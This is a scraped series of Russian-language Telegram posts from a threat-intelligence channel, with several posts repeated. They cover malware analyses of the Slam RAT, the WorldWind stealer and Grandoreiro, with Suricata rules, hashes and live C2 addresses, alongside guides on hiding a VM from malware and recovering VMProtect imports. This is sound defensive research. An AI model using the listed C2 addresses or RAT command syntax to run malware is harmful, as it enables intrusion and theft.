Путешествие_Извилистых_Троп_манёвры_ExCobalt_в_атаках_на_российские.pdf
11.5 MB
Кстати, про Offzone 🙂
Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝
В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.
Приятного изучения и happy hunting!
#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝
В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.
Приятного изучения и happy hunting!
#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
TLS в сети: как быть 🤷♂️
Ты — мощный движок разбора сетевого трафика.
Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.
В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.
Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙
«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?
Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:
1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.
Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)
Основные параметры заголовков, которые можно проанализировать:
• Версия протокола. Например, SSL 3.0 или TLS 1.0.
• Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).
• Алгоритмы сжатия.
• Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).
Аспекты анализа сертификатов:
• Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.
• Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).
• Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).
🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.
В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).
Например, JA3
Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.
Анализ характеристик TCP-сессий
Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.
В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.
Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.
Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯
#detect #malware #network #hunt #tips
@ptescalator
Ты — мощный движок разбора сетевого трафика.
Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.
В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.
Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙
«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?
Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:
1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.
Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)
Основные параметры заголовков, которые можно проанализировать:
• Версия протокола. Например, SSL 3.0 или TLS 1.0.
• Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).
• Алгоритмы сжатия.
• Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).
Аспекты анализа сертификатов:
• Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.
• Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).
• Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).
🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.
В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).
Например, JA3
a85be79f7b569f1df5e6087b69deb493
однозначно указывает на соединение ВПО Remcos с С2-сервером (скриншот 2). Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.
Анализ характеристик TCP-сессий
Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.
В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.
Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.
Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯
#detect #malware #network #hunt #tips
@ptescalator
Способы маскирования виртуальной среды 😷
В процессе анализа ВПО вы можете столкнуться с образцами, которые не будут полноценно работать в виртуальной среде. Все дело в том, что в них реализованы специальные механизмы, которые проверяют окружение, в котором работает образец.
Обнаружив, что он запущен в виртуальной среде, вредонос может либо прекращать свою работу, либо прикидываться легитимным ПО.
😂 Однако такие образцы можно попытаться обмануть — «убедить» их в том, что они запускаются на физическом устройстве.
Для этого нам понадобится всего одна правильно настроенная виртуальная машина (ВМ), которая будет скрывать свою виртуальную природу. Рассмотрим пару способов такой настройки.
Способ 1️⃣
Первый способ — публично доступный
Согласно документации к этому инструменту, добавляем в файл .vmx следующие свойства:
Если при запуске ВМ MAC-адрес поменялся на сгенерированный VMware, отредактируйте его прямо в GUI.
Далее нужно запустить в настроенной ВМ установочный скрипт
Если этот вариант не отработал, есть еще один.
Способ 2️⃣
Он более сложный, но и более надежный. Подход тот же — настройка ВМ, но в этом случае необходимо также пропатчить BIOS.
Требуется выполнить следующие шаги:
1. При создании новой ВМ не рекомендуется сразу выбирать установочный ISO-файл, иначе активируется
2. Чтобы сделать подставную ОС «достойной» жертвой вредоноса, необходимо выделить не менее 128 ГБ дискового пространства.
3. В
4. В параметрах настройки оборудования обязательно установите флажок
5. Как и в первом случае, поменяйте MAC-адрес на любой, кроме типичных для VMware
6. Затем добавьте установочный ISO-файл. Не забудьте про vmtools — их не нужно устанавливать.
7. После этого необходимо пропатчить BIOS ROM.
VMware BIOS ROM содержит строки, относящиеся к VMware и виртуализации. Их нужно убрать и заменить на какие-нибудь свои. Файл BIOS ROM находится в папке
При этом следует редактировать файл специальным инструментом —
После этого нужно собрать пропатченный BIOS через
8. В папке, где хранится ВМ, нужно найти файл .vmx. Заносим в него путь до пропатченного файла BIOS ROM:
Готово. Можно запускать виртуальную ОС. Теперь вредонос не поймет, что работает на ВМ, и отработает так, как должен.
#tips #malware
@ptescalator
В процессе анализа ВПО вы можете столкнуться с образцами, которые не будут полноценно работать в виртуальной среде. Все дело в том, что в них реализованы специальные механизмы, которые проверяют окружение, в котором работает образец.
Обнаружив, что он запущен в виртуальной среде, вредонос может либо прекращать свою работу, либо прикидываться легитимным ПО.
Для этого нам понадобится всего одна правильно настроенная виртуальная машина (ВМ), которая будет скрывать свою виртуальную природу. Рассмотрим пару способов такой настройки.
Способ 1️⃣
Первый способ — публично доступный
VmwareHardenedLoader
. Требуется отредактировать файл .vmx и поменять MAC-адрес виртуальной машины на любой, не начинающийся с 00:05:69
, 00:50:56
, 00:1C:14
, 00:0С:29
.Согласно документации к этому инструменту, добавляем в файл .vmx следующие свойства:
hypervisor.cpuid.v0 = "FALSE"
board-id.reflectHost = "TRUE"
hw.model.reflectHost = "TRUE"
serialNumber.reflectHost = "TRUE"
isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"
monitor_control.disable_btseg = "TRUE"
monitor_control.restrict_backdoor = "TRUE"
smbios.reflectHost = "TRUE"
SMBIOS.noOEMStrings = "TRUE"
scsi0:0.productID = "Your value"
scsi0:0.vendorID = "Your value"
ethernet0.address = "new mac address"
Если при запуске ВМ MAC-адрес поменялся на сгенерированный VMware, отредактируйте его прямо в GUI.
Далее нужно запустить в настроенной ВМ установочный скрипт
install.bat
с привилегиями администратора. После этого можно начинать отладку. Теперь ВМ не должна быть видна образцу ВПО. Важно помнить, что устанавливать vmtools не следует. Если этот вариант не отработал, есть еще один.
Способ 2️⃣
Он более сложный, но и более надежный. Подход тот же — настройка ВМ, но в этом случае необходимо также пропатчить BIOS.
Требуется выполнить следующие шаги:
1. При создании новой ВМ не рекомендуется сразу выбирать установочный ISO-файл, иначе активируется
Windows Easy Install
, который установит vmtools. 2. Чтобы сделать подставную ОС «достойной» жертвой вредоноса, необходимо выделить не менее 128 ГБ дискового пространства.
3. В
Firmware Type
выберите BIOS.4. В параметрах настройки оборудования обязательно установите флажок
Virtualize Intel VT-x/EPT or AMD-V/RVI
5. Как и в первом случае, поменяйте MAC-адрес на любой, кроме типичных для VMware
6. Затем добавьте установочный ISO-файл. Не забудьте про vmtools — их не нужно устанавливать.
7. После этого необходимо пропатчить BIOS ROM.
VMware BIOS ROM содержит строки, относящиеся к VMware и виртуализации. Их нужно убрать и заменить на какие-нибудь свои. Файл BIOS ROM находится в папке
C:\Program Files (x86)\VMware\VMware Workstation\x64
. При этом следует редактировать файл специальным инструментом —
Phoenix BIOS Editor
, чтобы не поменять внутренние чек-суммы файла. Откройте файл в редакторе, найдите окно с DMI Strings
и поменяйте значения так, чтобы они не содержали «VMware» или «Virtual Platform».После этого нужно собрать пропатченный BIOS через
File
→ Build BIOS
и где-нибудь сохранить его, не удаляя исходный.8. В папке, где хранится ВМ, нужно найти файл .vmx. Заносим в него путь до пропатченного файла BIOS ROM:
bios440.filename = "D:\<path_to_your_bios_file>\BIOS.440.PATCH.ROM"
, а также те же настройки, что и в способе 1, за исключением последних четырех строк.Готово. Можно запускать виртуальную ОС. Теперь вредонос не поймет, что работает на ВМ, и отработает так, как должен.
#tips #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Slam screen locker. Что ты такое? ☹️
На очереди — fast malware analysis, проведенный одним воскресным вечером.
В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).
В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.
🏃♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.
Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.
• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);
• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);
• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);
• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).
И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.
😃 Самые неприятные и интересные пакости
Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.
Команда: textts*<text_to_speek>.
Действие: text to speech.
Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.
Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.
Команда: BSOD#.
Действие: вызвать синий экран смерти.
А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:
IOCs
Happy hunting!
#Hunt #C2 #Tips #IOC #detect #malware #network #suricata
@ptescalator
На очереди — fast malware analysis, проведенный одним воскресным вечером.
В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).
В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.
🏃♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.
Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.
• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);
• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);
• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);
• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).
И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.
Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.
Команда: textts*<text_to_speek>.
Действие: text to speech.
Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.
Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.
Команда: BSOD#.
Действие: вызвать синий экран смерти.
А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)
IOCs
SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42
Happy hunting!
#Hunt #C2 #Tips #IOC #detect #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
В начале июня 2024 года специалисты департамента Threat Intelligence выявили новую цепочку атаки PhaseShifters.
✍️ PhaseShifters (Sticky Werewolf, UAC-0050
В своих атаках группировка использует фишинг: злоумышленники отправляют письма якобы от официальных лиц с просьбой ознакомиться с документом и подписать его. Документ находится во вложении внутри защищенного паролем архива. В качестве ВПО злоумышленники используют Rhadamanthys, DarkTrack RAT, Meta Stealer и другие.
На данный момент мы склоняемся к тому, что UAC-0050 и PhaseShifters — это одна и та же группировка, но убедиться в этом можно будет только после более длительного наблюдения.
Летом этого года обе группировки начали использовать идентичные паттерны в своих атаках. Дошло даже до того, что ВПО группировок располагалось в одном и том же репозитории BitBucket. Это заставило нас углубиться в эту тему.
#TI #Hunt #Malware #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Учимся восстанавливать импорты VMProtect ⚙️
VMProtect — один из самых используемых протекторов ВПО. При этом зачастую злоумышленники ленятся и используют лишь простые опции защиты — обфускацию точки входа и импортов.
Ранее мы уже научились настраивать виртуальную среду для отладки ВПО, а также познакомились с эмулятором Speakeasy. Воспользуемся этими знаниями, чтобы попытаться восстановить импорты VMP.
Сдампим процесс (важно, чтобы в нем на момент дампа была достигнута OEP, тогда VMP инициализирует все внутренние структуры для работы), откроем дамп в IDA и позволим ей разметить символы библиотек.
Далее посмотрим, как выглядят обфусцированные импорты (скриншот 1). Видно, что VMP вставил вызов на свою секцию вместо вызова оригинальной библиотеки, а вызываемая функция состоит из кучи (на первый взгляд) мусорных инструкций.
❗️ Однако это не совсем так. Если провалиться в этот вызов в отладчике, то в какой-то момент на стеке окажется настоящий адрес API. Пример трассировки смотрите на скриншоте 2.
Попробуем это автоматизировать. Для начала необходимо собрать интересующий нас список вызовов. Логика простая: вызов идет из текстовой секции в секцию VMP (скриншот 3). Для краткости будем считать, что адреса этих секций в дампе нам уже известны.
Напишем логику для разрешения полученных адресов, для этого загрузим модуль из дампа как шеллкод в Speakeasy и добавим хук с проверкой каждой инструкции на
Функция запуска эмулятора представлена на скриншоте 5. Он выполняется несколько раз, чтобы обойти ситуацию, когда после выполнения нескольких мусорных инструкций повреждается его внутреннее состояние и попытки прочитать что-то после всегда завершаются ошибками.
Теперь объединим все вместе и посмотрим на результаты (скриншот 6). Опираясь на собранную информацию, можно разметить большую часть импортов в исходном образце.
👀 Итого: мы научились минимальными усилиями восстанавливать импорты VMP, что значительно упрощает анализ таких образцов. При желании можно применить аналогичный подход для запущенных процессов, а также пропатчить и пересобрать образец с правильными адресами API, как это делает, например, vmpdump.
#ti #malware #tip #VMProtect
@ptescalator
VMProtect — один из самых используемых протекторов ВПО. При этом зачастую злоумышленники ленятся и используют лишь простые опции защиты — обфускацию точки входа и импортов.
Ранее мы уже научились настраивать виртуальную среду для отладки ВПО, а также познакомились с эмулятором Speakeasy. Воспользуемся этими знаниями, чтобы попытаться восстановить импорты VMP.
Сдампим процесс (важно, чтобы в нем на момент дампа была достигнута OEP, тогда VMP инициализирует все внутренние структуры для работы), откроем дамп в IDA и позволим ей разметить символы библиотек.
Далее посмотрим, как выглядят обфусцированные импорты (скриншот 1). Видно, что VMP вставил вызов на свою секцию вместо вызова оригинальной библиотеки, а вызываемая функция состоит из кучи (на первый взгляд) мусорных инструкций.
Попробуем это автоматизировать. Для начала необходимо собрать интересующий нас список вызовов. Логика простая: вызов идет из текстовой секции в секцию VMP (скриншот 3). Для краткости будем считать, что адреса этих секций в дампе нам уже известны.
Напишем логику для разрешения полученных адресов, для этого загрузим модуль из дампа как шеллкод в Speakeasy и добавим хук с проверкой каждой инструкции на
ret
. Дополнительно ограничим максимальную глубину трассировки и будем сохранять количество шагов для каждого импорта. Итоговое содержимое хука, а также функцию инициализации шеллкода в эмуляторе можно увидеть на скриншоте 4.Функция запуска эмулятора представлена на скриншоте 5. Он выполняется несколько раз, чтобы обойти ситуацию, когда после выполнения нескольких мусорных инструкций повреждается его внутреннее состояние и попытки прочитать что-то после всегда завершаются ошибками.
Теперь объединим все вместе и посмотрим на результаты (скриншот 6). Опираясь на собранную информацию, можно разметить большую часть импортов в исходном образце.
#ti #malware #tip #VMProtect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Стилерная инфекция: новый USB-штамм 👾
Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.
Находка, как и ее предшественники, все также продолжает использовать сервисы
🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.
Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).
Не находите, что повеяло старыми добрыми временами дикого вирусописательства?😏
Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.
Заодно давайте покроем стилер правилом, детектирующим checkin:
IOCs:
Будьте здоровы и happy hunting!
#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.
Находка, как и ее предшественники, все также продолжает использовать сервисы
icanhazip
, mylnikov.org
+ Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).
Не находите, что повеяло старыми добрыми временами дикого вирусописательства?
Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.
Заодно давайте покроем стилер правилом, детектирующим checkin:
alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)
IOCs:
84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346
Будьте здоровы и happy hunting!
#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Да что не так с этим AES? ❔
Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.
На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.
👾 Grandoreiro — бразильский банковский троян, который активен с 2016 года по сегодняшний день. Он доставляется в систему с помощью загрузчика, который получает ссылку на скачивание полезной нагрузки от С2-сервера.
Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.
🧐 При анализе недавних образцов Grandoreiro была замечена новая для этого семейства техника шифрования, которая применяется для усложнения анализа, — Ciphertext Stealing (CTS). Это режим шифрования, который используется, когда открытый текст не кратен размеру блока.
Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).
Что именно происходит:
1️⃣ Шифруется последний полный блок.
2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.
Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.
Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:
Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.
Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».
#TI #tip #malware
@ptescalator
Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.
На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.
Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.
Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).
Что именно происходит:
1️⃣ Шифруется последний полный блок.
2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.
Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.
Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:
cipher = AES.new(aes_key, AES.MODE_ECB)
encr = b"\x00"*16
initial_key = cipher.encrypt(encr) # your value here
block_size = 16
total_blocks = len(ciphered_data) // block_size
decrypted_data = bytearray()
previous_block = initial_key
if total_blocks:
# Decrypt all complete blocks
for i in range(total_blocks):
current_block = ciphered_data[i * block_size:(i + 1) * block_size]
key = previous_block
decr_block = cipher.decrypt(current_block)
decrypted_data.extend(bytes(x ^ y for x, y in zip(decr_block, key)))
previous_block = current_block
# Handle the last block with ciphertext stealing
if len(ciphered_data) % block_size > 0:
last_full_block = previous_block
if total_blocks:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data) - (i + 1) * block_size] #take as much bytes off of the last full block (encrypted) as remained yet to decrypt (ciphertext)
partial_block = ciphered_data[(i + 1) * block_size:len(ciphered_data)] #bytes left to decrypt, not a multiple of the block size
else:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data)]
partial_block = ciphered_data[:len(ciphered_data)]
stolen_block = bytes(x ^ y for x, y in zip(partial_block, last_full_block))
decrypted_data.extend(stolen_block)
Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.
Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».
#TI #tip #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Опять стилер на Python?! 🫣
С начала сентября мы фиксируем атаки, которые на первый взгляд можно отнести к активности группировки Lazy Koala. В качестве C2-сервера для эксфильтрации скомпрометированных данных используется телеграм-бот, а названия приманок похожи на названия тех файлов, которые Lazy Koala применяла в атаках:
Но при дальнейшем изучении кода стилера, который мы назвали MarkerStealer (из-за артефакта
👾 Сам же MarkerStealer имеет стандартную для всех стилеров функциональность: позволяет получать учетные данные и куки из браузеров и проводить их эксфильтрацию на C2-сервер.
Единственное, что выделяет его на фоне других, — создание так называемого маркера по пути
IoCs:
#TI #Malware
@ptescalator
